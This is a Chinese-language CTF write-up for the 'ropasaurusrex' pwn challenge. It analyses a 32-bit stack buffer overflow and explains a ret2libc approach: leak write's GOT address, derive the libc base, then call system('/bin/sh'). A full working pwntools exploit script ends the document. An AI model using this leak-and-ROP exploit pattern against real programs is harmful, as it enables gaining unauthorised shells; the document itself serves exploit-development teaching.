0x00 前言

本文有关的程序可以到我的github中下载:https://github.com/cxliker/ctf_pwn/tree/master/ropasaurusrex
这题给了libc.so文件,变得简单了一些,省去了我们猜版本的麻烦(但是我找不到线上的环境,所以还是用不到这个给的libc.so,用本地的libc.so测试)。此题的特点在于需要我们info leak得到信息,然后计算出system的地址。

文章中参考到的博客 http://bestwing.me/2017/03/19/stack-overflow-two-ROP/

0x01 分析

例行公事老3步之第一步:checksec

1
2
3
4
5
6
7
▶ checksec ropasaurusrex 
[*] '/root/code/ctf/pwn/ropasaurusrex/ropasaurusrex'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

例行公事老3步之第二步:运行看懂程序流程

1
2
3
$ ./ropasaurusrex 
hhhhhhhhstep2
WIN

程序流程简单到不能在简单了,输入一个字符串,输出一个字符串win

例行公事老3步之第三部:ida

因为程序也比较简单,直接看汇编代码也没问题。

可以从图中看到buf定义了0x88大小,但是却被允许输入0x100大小的字符串,由此引起了缓冲区溢出的漏洞。

这题正好很像之前蒸米师傅说的一道例题,引用其在文章 一步一步学ROP之linux_x86篇 中的一段话

我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

所以题目的思路就有了:

  1. 利用write@plt构造payload leak 内中的一个函数地址
  2. 通过上一步得到的地址,和libc自己计算好的offset,可以算出libc base
  3. 根据libc base和offset,算出system/bin/sh的地址
  4. 构造payload get shell

0x02 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

libc = ELF('libc.so.fuck')
elf = ELF('ropasaurusrex')

io = process('./ropasaurusrex')

plt_write = elf.symbols['write']
got_write = elf.got['write']
bof = 0x080483F4

payload1 = 'A' * 140 + p32(plt_write) + p32(bof) + p32(1) + p32(got_write) + p32(4)

print "\n#########sending payload1....#######"
io.send(payload1)

write_addr = u32(io.recv(4))
log.success('write_addr = ' + hex(write_addr))

libc_base = write_addr - libc.symbols['write']
log.success('libc_base= ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system_addr= ' + hex(system_addr))
binsh_addr = libc_base + next(libc.search('/bin/sh'))
log.success('binsh_addr= ' + hex(binsh_addr))

# 调用system函数,参数是binsh
payload2 = 'A' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)

print "\n########sending payload2....########"
io.send(payload2)

io.interactive()